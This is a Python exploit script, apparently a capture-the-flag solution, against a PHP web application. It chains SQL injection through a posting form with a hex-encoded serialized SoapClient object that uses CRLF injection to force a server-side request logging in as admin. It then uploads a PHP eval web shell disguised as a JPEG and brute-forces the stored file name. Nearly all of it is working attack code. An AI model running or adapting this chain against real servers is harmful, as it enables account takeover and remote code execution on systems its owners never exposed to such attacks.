1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| import re import sys import string import random import requests import subprocess from itertools import product
_target = 'http://xx.xx.xx.xx' _action = _target + 'index.php?action='
def get_creds(): username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10)) password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10)) return username, password
def solve_code(html): code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1) solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2] return solution
def register(username, password): resp = sess.get(_action+'register') code = solve_code(resp.text) sess.post(_action+'register', data={'username':username,'password':password,'code':code}) return True
def login(username, password): resp = sess.get(_action+'login') code = solve_code(resp.text) sess.post(_action+'login', data={'username':username,'password':password,'code':code}) return True
def publish(sig, mood): return sess.post(_action+'publish', data={'signature':sig,'mood':mood})
def get_prc_now(): return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])
def get_admin_session(): sess = requests.Session() resp = sess.get(_action+'login') code = solve_code(resp.text) return sess.cookies.get_dict()['PHPSESSID'], code
def brute_filename(prefix, ts, sessid): ds = [''.join(i) for i in product(string.digits, repeat=3)] ds += [''.join(i) for i in product(string.digits, repeat=2)] for d in ds: f = prefix + ts + d + '.jpg' resp = requests.get(_target+'adminpic/'+f, cookies={'PHPSESSID':sessid}) if resp.status_code == 200: return f return False
print '[+] creating user session to trigger ssrf' sess = requests.Session()
username, password = get_creds()
print '[+] register({}, {})'.format(username, password) register(username, password)
print '[+] login({}, {})'.format(username, password) login(username, password)
print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID'] + ' '
print '[+] getting fresh session to be authenticated as admin' phpsessid, code = get_admin_session() print code
ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 46\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code) mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf) mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))
payload = 'a`, {}); -- -'.format(mood)
print '[+] final sqli/ssrf payload: ' + payload
print '[+] injecting payload through sqli' resp = publish(payload, '0')
print '[+] triggering object deserialization -> ssrf' sess.get(_action+'index')
print '[+] admin session => ' + phpsessid
sess = requests.Session() sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})
print '[+] uploading stager' shell = {'pic': ('tinmin.php', '<?php eval($_POST[tinmin]);', 'image/jpeg')} resp = sess.post(_action+'publish', files=shell) print(resp.text) prc_now = get_prc_now()[:-1]
if 'upload success' not in resp.text: print '[-] failed to upload shell, check admin session manually' sys.exit(0)
|